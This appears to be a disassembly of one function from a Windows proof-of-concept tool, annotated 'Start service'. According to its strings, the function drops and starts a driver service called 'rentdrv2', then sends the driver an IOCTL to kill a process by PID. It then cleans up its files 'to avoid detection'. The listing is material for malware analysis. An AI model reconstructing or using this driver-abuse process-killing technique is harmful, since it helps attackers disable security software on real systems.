Function at 0x1400026e0
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x8a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x890], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, str.Hello_World__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002cc0
cmp ebx, 2
je 0x140002759
lea rdx, str.____Usage:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002cc0
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140002cc0
mov rcx, rax
lea rdx, str.__PID___n
call fcn.140002cc0
jmp 0x1400029d8
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x14000277b
lea rdx, str._X__You_are_initializing_a_driver__remember__you_need_to_run_with_right_button____run_as_administrator_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002cc0
jmp 0x1400029d8
mov rdx, qword [rdi + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r14b
jne 0x1400027a0
lea rcx, [rsp + 0x40]
call fcn.140002e90
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rbx, qword [rsp + 0x40]
mov dword [rax], r14d
mov r8d, 0xa
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov esi, eax
cmp rbx, qword [rsp + 0x60]
jne 0x1400027fb
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
cmp dword [rdi], 0x22
jne 0x14000280e
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000284f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002849
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002849
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003864
nop
mov ecx, 0x10
call fcn.140003820
mov rdi, rax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
call fcn.1400022b0
test eax, eax
jne 0x14000287c
lea rcx, str._X__Fail_drop_the_Driver_FILE_on_Disk_n
call fcn.140001010
mov rcx, rdi
call fcn.1400020a0
test al, al
jne 0x140002894
lea rcx, str._X__Fail_to_install_the_Driver_n
call fcn.140001010
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rdi], rax
test rax, rax
je 0x1400028e0
mov r8d, 0xf01ff
lea rdx, str.rentdrv2
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rdi + 8], rax
test rax, rax
jne 0x1400029aa
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str._X__Fail_to_start_the_Driver_Service_n
call fcn.140001010
nop
lea rcx, str.____Driver_is_initialized___n
call fcn.140001010
mov dword [rsp + 0x70], 1
mov qword [rsp + 0x74], rsi
lea rcx, str.____Kill_process_started___n
call fcn.140001010
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x40000080
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str.._rentdrv2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0x80c
lea r8, [rsp + 0x70]
mov edx, 0x22e010
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Kill_process_ended___n
call fcn.140001010
lea rcx, str.____Press_any_key_to_stop_driver_and_clean_up_all_POC_files_to_avoid_detection___n
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov rcx, rdi
call fcn.1400024d0
xor eax, eax
jmp 0x1400029dd
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov rcx, qword [rdi]
test eax, eax
je 0x1400028d0
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400028ed
mov eax, 1
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.140003800
lea r11, [rsp + 0x8a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret